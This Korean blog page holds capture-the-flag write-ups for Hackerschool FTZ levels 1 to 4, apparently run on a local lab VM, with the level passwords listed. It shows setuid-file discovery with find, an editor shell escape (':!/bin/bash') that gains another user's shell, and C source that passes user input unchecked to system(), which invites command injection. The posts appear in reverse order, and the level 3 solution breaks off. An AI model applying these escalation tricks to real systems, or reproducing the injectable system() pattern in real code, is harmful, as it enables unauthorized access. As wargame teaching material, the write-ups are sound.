M4ndU의 만두만두한 블로그

해커스쿨 FTZ [LEVEL4] 풀이입니다.

ID | level4

PW | suck my brain

으로 로그인합니다.

를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.

login as: level4

level4@192.168.31.128's password:

[level4@ftz level4]$ ls -l

total 12

-rw-r--r--    1 root     root           50 Feb 24  2002 hint

drwxr-xr-x    2 root     level4       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level4       4096 Feb  6 22:17 tmp

해커스쿨 FTZ [LEVEL3] 풀이입니다.

ID | level3

PW | can you fly?

으로 로그인합니다.

를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.

level3@192.168.31.128's password:

[level3@ftz level3]$ ls -l

total 12

-rw-r--r--    1 root     root          543 Nov 26  2000 hint

drwxr-xr-x    2 root     level3       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level3       4096 Jan 15  2009 tmp

[level3@ftz level3]$ cat hint

다음 코드는 autodig의 소스이다.

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }

    strcpy( cmd, "dig @" );

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

이를 이용하여 level4의 권한을 얻어라.

more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?

int main(int argc, char **argv){

strcpy( cmd, "dig @" );

strcat( cmd, argv[1] );

strcat( cmd, " version.bind chaos txt");

system( cmd );

[level3@ftz level3]$ find / -user level4 -perm -4300 2>/dev/null

/bin/autodig

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?

해커스쿨 FTZ [LEVEL2] 풀이입니다.

ID | level2

PW | hacker or cracker

으로 로그인합니다.

를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.

login as: level2

level2@192.168.31.128's password:

[level2@ftz level2]$ ls -l

total 12

-rw-r--r--    1 root     root           60 Mar 23  2000 hint

drwxr-xr-x    2 root     level2       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level2       4096 Jan 16  2009 tmp

[level2@ftz level2]$ cat hint

텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...

[level2@ftz level2]$ find / -user level3 -perm -4300 2>/dev/null

/usr/bin/editor

~

~

~

~

:!/bin/bash

해커스쿨 FTZ [LEVEL1] 풀이입니다.

ID | level1

PW | level1

으로 로그인합니다.

를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.

login as: level1

level1@192.168.31.128's password:

[level1@ftz level1]$ ls -l

total 12

-rw-r--r--    1 root     root           47 Apr  4  2000 hint

drwxr-xr-x    2 root     level1       4096 Dec  7  2003 public_html

drwxrwxr-x    2 root     level1       4096 Jan 16  2009 tmp

[level1@ftz level1]$ cat hint

level2 권한에 setuid가 걸린 파일을 찾는다.

[level1@ftz level1]$ find / -user level2 -perm -4300

find: /lost+found: Permission denied

find: /boot/lost+found: Permission denied

find: /proc/1/fd: Permission denied

find: /proc/2/fd: Permission denied

find: /proc/3/fd: Permission denied

....(생략)

[level1@ftz level1]$ find / -user level2 -perm -4300 2> /dev/null

/bin/ExecuteMe

[level1@ftz level1]$ cd /bin

[level1@ftz bin]$ ./ExecuteMe

                레벨2의 권한으로 당신이 원하는 명령어를

                한가지 실행시켜 드리겠습니다.

                (단, my-pass 와 chmod는 제외)

                어떤 명령을 실행시키겠습니까?

                [level2@ftz level2]$

                [level2@ftz level2]$ bash

[level2@ftz level2]$ my-pass

Level2 Password is "hacker or cracker".